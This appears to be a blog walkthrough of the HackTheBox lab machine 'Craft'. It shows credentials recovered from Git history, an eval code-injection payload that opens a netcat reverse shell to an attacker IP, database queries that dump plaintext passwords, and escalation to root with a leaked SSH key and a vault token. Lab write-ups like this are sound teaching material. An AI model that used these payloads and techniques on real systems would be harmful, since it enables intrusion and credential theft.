HackTheBox: Craft

Image result for Craft hackthebox

Enumeration

Like always, we start off with an Nmap scan of all ports. On this host we see that there are 6 ports open:

nmap -p- -sV 10.10.10.110
  • 22: OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
  • 443: ssh/http ngnix 1.15.8
  • 6022: ssh protocol 2.0
Nmap scan

Enumerating HTTPS

We see a web page about a fantastic topic, craft beer! Straight away on the top right, I see two items which catch my eye. The main thing is the Git icon which is a hyperlink to the REST craft-API. In addition, we see a hyperlink to a Git application. The Git hyperlink takes us to the source code of the craft-API. Great! We are dealing with an at least partially open-source web application here.

HTTPS Landing Page
craft-api repository

Enumerating the API repository

There are a lot of files to inspect, and I am not exactly sure where to start. However, I know the main thing that I should look for is some vulnerable code. More specifically, code which does not sanitize user input before being sent to the server. I look in the tests folder, and there is a test.py script, which has a placeholder for credentials near the top. OK, so no luck right here. However, we have to think about Git misuse. I can speak from experience that putting placeholders for credentials into code is very risky, as your credentials can end up checked-in to the repository. 

Note, before you go looking into my repositories, I have securely removed the mistake, including the bad commit, and changed the impacted password. 

As this is a Git platform, there is version control. I wondered if the commit with credentials has been removed or not. The initial commit for test.py is still there, and so are the credentials! (dinesh:4aUh0A8PbVJxgd). However, we also need to check if the credentials have been updated to mitigate the mistake. So, I try to login to the Gogs application with the newfound credentials, and we get access! Bingo!

No credentials in the latest version of test.py
Credentials spotted in the initial commit of test.py

Getting the Initial Shell

We continue to look at test.py and see that some commands are sent directly to the server. We can use the script and send a command which initiates a reverse shell connection. Alter the brew_dict['abv'] string to the code below. And Bingo! We are root! No privilege escalation required.

brew_dict['abv'] = '__import__("os").system("nc 10.10.14.9 1234 -e /bin/sh")'

But wait, not so fast. A medium rated HackTheBox host getting root by simple code injection? That would have been too easy. Far too easy for a medium rated box. I quickly noticed that there is no root flag, and the hostname appears to be a simple random generated string. It turns out that we are in a sandbox.

Getting the initial sandbox shell

Enumerating the Initial Shell

All right, so we are in the sandbox which I assume is intended. Let’s poke around while we’re here. I noticed a dbtest.py script, which seems like it could be promising. Running the script seems to retrieve the first line stored in the brew table. Interesting.

I decided that there are two ways to move forward here. We can either try to login to the SQL database directly or edit the dbtest.py script to get some further information. It would be possible to login to the SQL database directly, because the file containing the credentials are accessible locally on the host. I decided to use the latter method and changed the dbtest.py script.

The first step is to identify the alternative tables available to us. We can do this by changing the SQL query to SHOW tables. We see a user table which contains user entries including their username and password. Luckily for us, the developer ignored security and did not hash the passwords – therefore the passwords are stored in plaintext.

Executing the test.py script
Original test.py script
try: 
    with connection.cursor() as cursor: 
        # Fetch all tables
        sql = "SHOW tables"
        cursor.execute(sql) 
        result = cursor.fetchall() # important to fetch all results
        print(result) 
finally:  
    connection.close()
try: 
    with connection.cursor() as cursor:
        # Fetch all users
        sql = "SELECT * FROM `user`"
        cursor.execute(sql) 
        result = cursor.fetchall() # important to fetch all results
        print(result) 
finally: 
    connection.close()
Retrieving list of tables, and entries of user table.
 [{'id': 1,
    'username': 'dinesh',
    'password': '4aUh0A8PbVJxgd'},
  {'id': 4,
    'username': 'ebachman',
    'password': 'llJ77D8QFkLPQB'},
  {'id': 5,
    'username': 'gilfoyle',
    'password': 'ZEU3N8WNM2rh4T'}]

Enumerating Gilfoyle

The login for ebachman was unsuccessful, however it was possible to login to gilfoyle on the Git platform. Straight away I noticed that there is a private repository named craft-infra which could contain the infrastructure information about the craft application. Opening the repository alarm bells started to go off when I saw the .ssh folder! It turns out that gilfoyle has stored their SSH keys on the git repository. We do not get too excited, it’s possible that this is a bait and that the SSH keys will not work. I downloaded the repository and used the id_rsa file to identify myself, however the key must be unlocked with a passphrase. By now we know that security has taken the back seat, and we try our luck by using the same credentials that we found earlier. And viola, we login! Amazing, we got the user.txt flag.

craft-infra private repository
Get user.txt flag.

So, we need to enumerate some MORE!!! To start, we look at the files that are stored within the gilfoyle user home directory, and we see a .vault-token stored. When looking further in the craft-infra repository, we see a vault.craft.htb server within the nginx.conf file.

After reading up a little on nginx vaults, I realize that it is something meant for only the admin. Vault is a program installed on the host and we can use it to ssh as root user by using the vault token in gilfoyle’s home directory.

$ vault ssh root@10.10.10.110

When logging in, the application asks us to put in the one time password which is displayed to us. I simply copy paste the OTP and then successfully login as root user on the craft host. This time the root user is not in a sandbox like before haha.

Using vault to login as root
Root proof

Closing Thoughts

This is a super awesome box, and I am grateful that I did it. In my opinion it is very realistic and has little capture the flag element towards it. I believe that this host revolves around incorrect usage of Git, placing information on the platform which should not.

Leave a Reply

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.